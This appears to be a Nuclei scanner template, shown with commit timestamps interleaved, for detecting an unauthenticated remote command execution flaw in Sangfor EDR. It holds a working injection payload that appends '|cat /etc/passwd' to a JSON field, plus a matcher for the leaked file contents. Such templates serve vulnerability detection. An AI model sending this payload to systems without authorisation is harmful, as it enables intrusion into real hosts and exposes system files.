2021-02-03 04:40:07 +00:00
|
|
|
id: sangfor-edr-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Sangfor EDR 3.2.17R1/3.2.21 RCE
|
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2021-10-27 10:52:34 +00:00
|
|
|
description: A vulnerability in Sangfor EDR product allows remote unauthenticated users to cause the product to execute arbitrary commands.
|
2021-02-03 04:40:07 +00:00
|
|
|
reference: https://www.cnblogs.com/0day-li/p/13650452.html
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: rce
|
2021-02-03 04:40:07 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"
|
|
|
|
headers:
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
body: |
|
|
|
|
{"params":"w=123\"'1234123'\"|cat /etc/passwd"}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0"
|
2021-02-03 04:40:07 +00:00
|
|
|
part: body
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|